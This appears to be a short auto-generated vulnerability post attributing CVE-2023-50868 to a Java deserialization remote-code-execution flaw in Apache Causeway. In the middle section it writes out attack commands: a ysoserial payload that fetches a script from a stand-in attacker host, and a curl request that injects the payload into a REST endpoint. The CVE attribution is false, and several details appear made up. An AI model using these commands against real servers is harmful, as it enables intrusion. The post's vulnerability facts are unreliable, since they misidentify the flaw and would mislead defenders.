Listen to this Post
How the mentioned CVE works:
The vulnerability CVE-2023-50868 in Apache Causeway stems from its ViewModel REST API endpoints. These endpoints automatically deserialize user-provided data from URL parameters without adequate validation. An attacker can craft a malicious serialized Java object, containing a command chain for remote code execution, and pass it via a specific URL parameter. When Causeway processes this request, it deserializes the malicious payload, triggering the execution of the embedded commands with the privileges of the application server, leading to full system compromise.
Platform: Apache Causeway
Version: < 3.5.0
Vulnerability : Java Deserialization RCE
Severity: Critical
date: 2024-01-16
Prediction: Patch Available
What Undercode Say:
Check application version find /path/to/app -name ".jar" | xargs grep -l "causeway-core" Simulate malicious serialized data generation java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/shell.sh' > payload.bin Curl request to exploit the endpoint curl -X GET 'http://target:8080/restful/services/myapp/MyViewModel/actions/myAction/invoke?argument='$(cat payload.bin | base64 -w 0)
How Exploit:
Exploitation involves an authenticated attacker sending a crafted HTTP GET request to a vulnerable ViewModel REST endpoint. The malicious serialized Java object is embedded within a URL parameter. Upon receiving the request, the server deserializes the parameter, executing the attacker’s code on the host.
Protection from this CVE:
Upgrade to version 3.5.0 immediately. Implement strict input validation for all user-controllable data. Use serialization filters to block deserialization of dangerous types.
Impact:
Full remote code execution on the server hosting the Apache Causeway application, leading to complete compromise of the application and underlying system.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
